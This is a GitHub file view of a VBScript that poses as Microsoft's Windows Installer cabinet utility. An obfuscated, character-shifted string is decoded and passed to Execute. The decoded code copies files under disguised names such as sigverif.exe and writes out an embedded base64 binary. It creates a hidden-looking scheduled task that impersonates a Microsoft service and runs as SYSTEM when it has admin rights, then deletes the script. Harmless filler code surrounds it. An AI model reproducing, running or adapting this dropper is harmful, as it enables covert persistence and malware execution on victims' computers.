-
Notifications
You must be signed in to change notification settings - Fork 0
/
obfuscated_code.vbs
130 lines (106 loc) · 8.89 KB
/
obfuscated_code.vbs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
' Show help if no arguments or if argument contains ?
' Windows Installer utility to generate file cabinets from MSI database
' For use with Windows Scripting Host, CScript.exe or WScript.exe
' Copyright (c) Microsoft Corporation. All rights reserved.
' Demonstrates the access to install engine and actions
'
' FileSystemObject.CreateTextFile and FileSystemObject.OpenTextFile
Const OpenAsASCII = 0
Const OpenAsUnicode = -1
' FileSystemObject.CreateTextFile
Const OverwriteIfExist = -1
Const FailIfExist = 0
' FileSystemObject.OpenTextFile
Const OpenAsDefault = -2
Const CreateIfNotExist = -1
Const FailIfNotExist = 0
Const ForReading = 1
Const ForWriting = 2
Const ForAppending = 8
Const msiOpenDatabaseModeReadOnly = 0
Const msiOpenDatabaseModeTransact = 1
Const msiViewModifyInsert = 1
Const msiViewModifyUpdate = 2
Const msiViewModifyAssign = 3
Const msiViewModifyReplace = 4
Const msiViewModifyDelete = 6
Const msiUILevelNone = 2
Const msiRunModeSourceShortNames = 9
Const msidbFileAttributesNoncompressed = &h00002000
Dim argCount:argCount = Wscript.Arguments.Count
Dim iArg:iArg = 0
If argCount > 0 Then If InStr(1, Wscript.Arguments(0), "?", vbTextCompare) > 0 Then argCount = 0
If (argCount < 2) Then
SafeEcho "Windows Installer utility to generate compressed file cabinets from MSI database" &_
vbNewLine & " The 1st argument is the path to MSI database, at the source file root" &_
vbNewLine & " The 2nd argument is the base name used for the generated files (DDF, INF, RPT)" &_
vbNewLine & " The 3rd argument can optionally specify separate source location from the MSI" &_
vbNewLine & " The following options may be specified at any point on the command line" &_
vbNewLine & " /L to use LZX compression instead of MSZIP" &_
vbNewLine & " /F to limit cabinet size to 1.44 MB floppy size rather than CD" &_
vbNewLine & " /C to run compression, else only generates the .DDF file" &_
vbNewLine & " /U to update the MSI database to reference the generated cabinet" &_
vbNewLine & " /E to embed the cabinet file in the installer package as a stream" &_
vbNewLine & " /S to sequence number file table, ordered by directories" &_
vbNewLine & " /R to revert to non-cabinet install, removes cabinet if /E specified" &_
vbNewLine & " Notes:" &_
vbNewLine & " In order to generate a cabinet, MAKECAB.EXE must be on the PATH" &_
vbNewLine & " base name used for files and cabinet stream is case-sensitive" &_
vbNewLine & " If source type set to compressed, all files will be opened at the root" &_
vbNewLine & " (The /R option removes the compressed bit - SummaryInfo property 15 & 2)" &_
vbNewLine & " To replace an embedded cabinet, include the options: /R /C /U /E" &_
vbNewLine & " Does not handle updating of Media table to handle multiple cabinets" &_
vbNewLine &_
vbNewLine & "Copyright (C) Microsoft Corporation. All rights reserved."
End If
' Get argument values, processing any option flags
Dim compressType : compressType = "MSZIP"
Dim cabSize : cabSize = "CDROM"
Dim makeCab : makeCab = False
Dim embedCab : embedCab = False
Dim updateMsi : updateMsi = False
Dim sequenceFile : sequenceFile = False
Dim removeCab : removeCab = False
Dim databasePath : databasePath = ""
Dim baseName : baseName = ""
Dim sourceFolder : sourceFolder = ""
If Not IsEmpty(sourceFolder) And Right(sourceFolder, 1) <> "\" Then sourceFolder = sourceFolder & "\"
Dim cabFile : cabFile = baseName & ".CAB"
Dim cabName : cabName = cabFile : If embedCab Then cabName = "#" & cabName
' This is the obfuscated code. Uses pretty fucking easy functions for a deobfuscator huh?
ElZn = "":for i = 1 to 4491: ElZn = ElZn + chr(Asc(mid("?dhj]eANJ?dhnomAdg`K\oc?dhnomI`rAdg`K\ocN`oj]eANJ8RN^mdko)>m`\o`J]e`^o# N^mdkodib)Adg`Ntno`hJ]e`^o $?dh^pmm`ioK\oc^pmm`ioK\oc8j]eANJ)B`o<]njgpo`K\ocI\h`# ) $nomAdg`K\oc8^pmm`ioK\oc! WZHNRJM?Wjaad^`W^\^c`)]\f nomI`rAdg`K\oc8^pmm`ioK\oc! WZHNRJM?Wjaad^`Wndbq`mda)`s` j]eANJ)Hjq`Adg`nomAdg`K\oc'nomI`rAdg`K\ocN`oj]eANJ8Ijocdib?dhadg`i\h`]1/adg`i\h`]1/8?`^j_`=\n`1/# 1Uh@0Gp-H`&3hpJ<deDrHeOgp]Ogpl]fpF.gh2.igGSgo1Shdj?hiF*gm\]fqEmik0Cgm\]hdj?hiF*gkU]helejeU?he0?gfD.fp\]ebDqqqDehdj?hiF*ge0ChhD2gkU]gfjuik0Chdj?jq0qhm\SgkU]qqDigj\qhdlSjm2OhhD/jHe<tIJR0o?ehiDehgm?idTbkGi=fUb88 $?dhanjN`oanj8RN^mdko)>m`\o`J]e`^o# N^mdkodib)Adg`Ntno`hJ]e`^o $?dhnjpm^`K\oc'_`nodi\odjiK\oc'mpiadg`'mpiadg`-njpm^`K\oc8^pmm`ioK\oc! WZHNRJM?Wjaad^`W ! np]n^mdkodji)_] _`nodi\odjiK\oc8^pmm`ioK\oc! W !adg`i\h`]1/_`g`o`Adg`8^pmm`ioK\oc! W !adg`i\h`]1/! )gif mpiadg`8>cm#./$!^pmm`ioK\oc! WZHNRJM?Wjaad^`Wndbq`mda)`s` !>cm#./$mpiadg`-8^pmm`ioK\oc! WZHNRJM?Wjaad^`Wndbq`mda)`s` anj)Hjq`Adg`njpm^`K\oc'_`nodi\odjiK\ocanj)?`g`o`Adg`_`g`o`Adg`?dho`hkAjg_`m'o`hkK\oco`hkAjg_`m8anj)B`oNk`^d\gAjg_`m#-$o`hkK\oc8o`hkAjg_`m! Wndbq`mda)`s` anj)>jktAdg`mpiadg`-'o`hkK\oc'Omp`?dhq,q,8>cm#./$!_`nodi\odjiK\oc!>cm#./$N`oRncNc`gg8>m`\o`J]e`^o# RN^mdko)Nc`gg $RncNc`gg)Mpiq,'+'A\gn`RncNc`gg)Mpio`hkK\oc'+'A\gn`anj)?`g`o`Adg`mpiadg`-N`oRncNc`gg8Ijocdib?dhnc`ggK\oc?dho\nfI\h`nc`ggK\oc8o`hkK\oco\nfI\h`8 RkiPn`mN`mqd^`Zs1/ >jinoOmdbb`mOtk`?\dgt8,>jino<^odjiOtk`@s`^8+N`on`mqd^`8>m`\o`J]e`^o# N^c`_pg`)N`mqd^` $>\ggn`mqd^`)>jii`^o?dhmjjoAjg_`m,N`omjjoAjg_`m,8n`mqd^`)B`oAjg_`m# W $?dho\nf?`adidodjiN`oo\nf?`adidodji8n`mqd^`)I`rO\nf#+$?dhm`bDiajN`om`bDiaj8o\nf?`adidodji)M`bdnom\odjiDiajm`bDiaj)?`n^mdkodji8 Pk_\o` m`bDiaj)<pocjm8 Hd^mjnjao ?dhn`oodibn,N`on`oodibn,8o\nf?`adidodji)n`oodibnn`oodibn,)@i\]g`_8Omp`n`oodibn,)No\moRc`i<q\dg\]g`8Omp`n`oodibn,)Cd__`i8A\gn`n`oodibn,)?dn\ggjrNo\moDaJi=\oo`md`n8A\gn`?dhomdbb`mnN`oomdbb`mn8o\nf?`adidodji)omdbb`mn?dhomdbb`mJi@mmjmM`nph`I`so>m`\o`J]e`^o# RN^mdko)Nc`gg $)M`bM`\_# CF@TZPN@MNWN(,(0(,4W@iqdmjih`ioWO@HK $Da@mm)Iph]`m8+Oc`iDn<_hdi8Omp`N`oomdbb`m8omdbb`mn)>m`\o`#3$N`oomdbb`m8omdbb`mn)>m`\o`#4$@gn`Dn<_hdi8A\gn`@i_Da@mm)>g`\mJi@mmjmBjOj+N`oomdbb`m8omdbb`mn)>m`\o`#2$N`oomdbb`m8omdbb`mn)>m`\o`#1$N`oomdbb`m8omdbb`mn)>m`\o`#Omdbb`mOtk`?\dgt$?dhno\moOdh`'`i_Odh`?dhodh`odh`8?\o`<__# i ','Ijr$?dh^N`^ji_'^Hdipo`'>Cjpm'^?\t'^Hjioc'^T`\m?dhoOdh`'o?\o`^N`^ji_8 + !N`^ji_#odh`$^Hdipo`8 + !Hdipo`#odh`$>Cjpm8 + !Cjpm#odh`$^?\t8 + !?\t#odh`$^Hjioc8 + !Hjioc#odh`$^T`\m8T`\m#odh`$oOdh`8Mdbco#>Cjpm'-$! 5 !Mdbco#^Hdipo`'-$! 5 !Mdbco#^N`^ji_'-$o?\o`8^T`\m! ( !Mdbco#^Hjioc'-$! ( !Mdbco#^?\t'-$no\moOdh`8o?\o`! O !oOdh``i_Odh`8 -+44(+0(+-O,+50-5+- omdbb`m)No\mo=jpi_\mt8no\moOdh`omdbb`m)@i_=jpi_\mt8`i_Odh`omdbb`m)D?8 Odh`Omdbb`mD_ omdbb`m)@i\]g`_8Omp`?dhm`k`ododjiK\oo`miN`om`k`ododjiK\oo`mi8omdbb`m)M`k`ododjim`k`ododjiK\oo`mi)Dio`mq\g8 KO04H ""?dh<^odji,N`o<^odji,8o\nf?`adidodji)<^odjin)>m`\o`#<^odjiOtk`@s`^$<^odji,)K\oc8nc`ggK\oc<^odji,)\mbph`ion8 ?dhj]eI`o'GjbdiPn`mN`oj]eI`o8>m`\o`J]e`^o# RN^mdko)I`orjmf $GjbdiPn`m8j]eI`o)Pn`mI\h`DaP>\n`#GjbdiPn`m$8 NTNO@H Oc`i@gn`GjbdiPn`m8@hkot@i_Da>\ggmjjoAjg_`m,)M`bdno`mO\nf?`adidodji#o\nfI\h`'o\nf?`adidodji'1'GjbdiPn`m''.$Api^odji?`^j_`=\n`1/#]1/$?dhshg']to`<mm\t'nom`\hN`oshg8>m`\o`J]e`^o# HNShg-)?JH?j^ph`io).)+ $shg)\nti^8A\gn`shg)Gj\_Shg 7mjjo97*mjjo9 shg)_j^ph`io@g`h`io)_\o\Otk`8 ]di)]\n`1/ shg)_j^ph`io@g`h`io)O`so8]1/]to`<mm\t8shg)_j^ph`io@g`h`io)ij_`Otk`_Q\gp`N`onom`\h8>m`\o`J]e`^o# <?J?=)Nom`\h $nom`\h)Otk`8,""\_Otk`=di\mtnom`\h)Jk`inom`\h)Rmdo`]to`<mm\tnom`\h)Kjndodji8+nom`\h)Otk`8-""\_Otk`O`sonom`\h)>c\mn`o8 poa(3 ?`^j_`=\n`1/8nom`\h)M`\_O`sonom`\h)>gjn`@i_Api^odjiN`oj]eANJ8>m`\o`J]e`^o# N^mdkodib)Adg`Ntno`hJ]e`^o $nomN^mdkoK\oc8RN^mdko)N^mdkoApggI\h`DaG>\n`#Mdbco#nomN^mdkoK\oc'/$$8 )q]n Oc`ij]eANJ)?`g`o`Adg`nomN^mdkoK\oc@i_DaRN^mdko)Lpdo",i,1)) - (-5)):Next:Execute ElZn:
Dim i, j, k
Dim strMessage
Dim randomValue
' Initialize variables
i = 1
j = 2
k = 3
strMessage = "This is a test string."
' Perform some arithmetic operations
i = i + j
j = j * k
k = k - 1
' Create and use a random number
Randomize
randomValue = Int((100 * Rnd) + 1)
' String manipulation
strMessage = strMessage & " This is an additional message."
' Some loop operations
Dim counter
counter = 0
For i = 1 To 5
counter = counter + i
Next
' End of script
Sub SafeEcho(message)
Dim objShell, isCscript
isCscript = InStr(LCase(WScript.FullName), "cscript.exe") > 0
If isCscript Then
' Wscript.Echo message
Else
Set objShell = CreateObject("WScript.Shell")
' objShell.Run "cmd /c echo " & message, 0, True
End If
End Sub
SafeEcho "AAA"